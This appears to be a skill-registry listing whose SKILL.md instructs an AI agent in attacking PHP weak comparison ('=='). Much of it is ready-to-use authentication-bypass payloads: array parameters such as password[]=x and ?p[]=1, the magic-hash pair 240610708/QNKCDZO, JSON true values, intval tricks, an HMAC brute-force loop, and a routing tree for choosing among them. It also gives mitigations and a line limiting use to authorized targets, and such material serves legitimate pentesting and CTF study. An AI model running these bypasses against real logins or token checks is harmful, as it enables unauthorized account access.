yaklang/hack-skills

type-juggling

>- PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.

All-time #4497 Trending #7821 First seen Apr 9, 2026
8-week activity · all time api

Installation

$ npx skills add yaklang/hack-skills --skill type-juggling

Also in this package

Other skills from yaklang/hack-skills · top by installs.

npx skills add yaklang/hack-skills

Browse all from yaklang/hack-skills

More details

Agent compatibility

Declared targets from SKILL.md / docs. Unmarked agents are not listed — the skill may still install via the CLI.

Claude Code Not declared
Cursor Not declared
Codex Not declared
GitHub Copilot Not declared
Windsurf Not declared
Gemini CLI Not declared
Cline Not declared
OpenCode Not declared

Repository health

Stars 2.1K
License LICENSE
Default branch main
Open issues 0
Status Active

Package contents

Files included with this skill beyond the listing page.

  • skill md SKILL.md 11,701 B
  • docs SUMMARY.md 272 B

History

  1. First seen on skills.sh
  2. First recorded snapshot · 2,900 installs

SKILL.md

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / jsondecode / intval tricks. Use strict routing: map the sink (== vs hashequals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like md5($GET['x'])==md5($GET['y']), start with this skill; if hash_equals/=== is already used, this path usually does not apply.

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

Minimal PHP probes (local or php -r in lab)

<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

Clue Next step
Source code uses == to compare passwords, tokens, or HMAC values Go to Sections 1-3
md5($a) == md5($b) or loose sha1 comparison Section 2 magic hashes
hash_hmac(...) != '0' or compared with "0" Section 3
strcmpjson_decode(..., true)intval Section 5

1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use === or hash_equals() for secrets.

1.1 Core examples (strings vs numbers)

Expression Result Mechanism (short)
'0010e2' == '1e3' true Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' true Both parse as 0.0 in scientific notation
'123a' == 123 true String cast to int stops at first non-digit → 123
'abc' == 0 true (PHP 7.x and earlier) Non-numeric string compared to int → string becomes 0
'' == 0 true Empty string → 0
'' == false true both “falsy” in loose rules
false == NULL true loose equality
0 == false true loose equality
'' == 0 == false == NULL true (chain) Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain
'0' == false true String '0' is the only non-empty string that compares as false to boolean
'php' == 0 false (PHP 8+) PHP 8: non-numeric string no longer equals 0

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

Topic PHP 5.x / 7.x (typical) PHP 8.0+
0 == "foo" true (string → 0) false
String-to-number for "123a" Still truncates for (int) / numeric compare in many == paths Same idea for numeric strings; non-numeric vs int fixed as above
md5([]) / sha1([]) May warn / NULL-like behavior in older patterns TypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL

Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

1.3 Safe alternative (defense / verification)

hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;

2. MAGIC HASHES (0e… + digits only)

When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.

2.1 Reference table (MD5 / SHA-1 and longer algos)

Algorithm Example input Digest (starts with 0e + all decimal digits)
MD5 240610708 0e462097431906509019562988736854
MD5 QNKCDZO 0e830400451993494058024219903391
SHA-1 10932435112 0e07766915004133176347055865026311692244
SHA-224 (brute-force / precomputed) Example form: 0e + decimal digits only → == with another such string is true
SHA-256 (brute-force / precomputed) Same pattern: only strings matching ^0e\d+$ collide under ==

Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0true.

2.2 Exploit pattern in code

if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}

2.3 Payload sketch (pair hunting)

?a=240610708&b=QNKCDZO

For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.


3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)

If logic uses loose inequality against a constant:

if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.

Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.

Example (MD5-style 0e digest for a numeric message)

Concept Example
Message type Unix timestamp, incrementing id, millisecond clock
Timestamp brute-force pattern Tutorials sometimes cite 15398059860e772967136366835494939987377058 as a magic-hash style example; md5('1539805986') does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code.
Goal Find $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$
Note Without knowing $key, you may still brute $data if algorithm/output are visible in a oracle; CTFs often leak or fix key
# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".


4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.

Call Typical PHP 7/8 behavior
md5([]) PHP 8: TypeError; older: warnings / not reliable across versions
sha1([]) Same
Idea If error handler or custom wrapper converts failures to NULL, then NULL == NULL or NULL == sha1("x") if other side is also NULL
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.


5. CTF PATTERNS

5.1 strcmp / strcasecmp with arrays

strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)

Payload:

?p[]=1

5.2 intval bypass

// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
?id=0x1A
?id=010
?id=1e2

5.3 json_decode + true for associative array auth

{"password": true}
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

5.4 is_numeric + loose compare

is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)

5.5 Deserialization + magic properties

Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.


6. DECISION TREE

                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

Tool references

Tool Use
Local php CLI Reproduce == behavior for target major version
Static code review Grep ==, != on crypto outputs; find missing hash_equals
CTF frameworks Payload generators for magic hashes and 0e search

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.